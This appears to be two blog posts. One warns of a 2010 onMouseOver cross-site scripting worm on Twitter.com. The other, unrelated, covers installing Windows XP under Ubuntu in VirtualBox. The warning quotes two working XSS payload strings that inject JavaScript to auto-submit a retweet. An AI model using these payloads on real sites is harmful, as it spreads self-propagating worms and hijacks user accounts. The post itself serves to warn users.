Twitter under attack, stop using Twitter.com until the problem is fixed.

If you're an user of Twitter, you probably observed today that many of the persons you follow are tweeting strange things. The idea is that there's an exploit in Twitter.com responsible for that. More exactly, the website fails to disallow the "onMouseOver" JavaScript command, which means that if you move the mouse over the offending tweet, you'll automatically retweet that tweet or you will be redirected to another website.

This is how a message like that looks like (DO NOT click on that links!!):

http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/

or another one:

http://t.co/@"onmouseover="document.getElementById('status').value='RT Unlevin ';$('.status-update-form').submit();"class="modal-overlay"/

It seems that most third party clients aren't affected by the exploit. Stop using Twitter's official website for now, as the strange messages are still coming in. Anyway, DO NOT click on the websites that tweets are linking to, they can possibly try to insert malicious code in your computer.

Twitter didn't announce anything about this until now, but they'll surely notify users when Twitter.com is safe, so follow status.twitter.com for latest news.

Installing Windows XP under Ubuntu, via VirtualBox.

I wrote some time ago an article on which I described how to install Ubuntu on a Mac OS X via VirtualBox, and now I've installed a Windows XP on Ubuntu. So, it works pretty well, and the steps described in that article are 99% identical (with the exception of the first steps, where you select the Guest OS). The article can be found here: http://it-nthusiast.blogspot.com/2010/02/installing-ubuntu-on-macbook-via.html.

Some notes: You may have problems with the resolution, since the Guest OS doesn't see the Graphic Adapter. It will use a driver provided via Guest Additions. At times, Windows XP becomes quite unstable, but since now everything worked well (most of hardware worked out-of-the-box).

Below is screenshot which shows you my desktop, including my problem with my resolution.
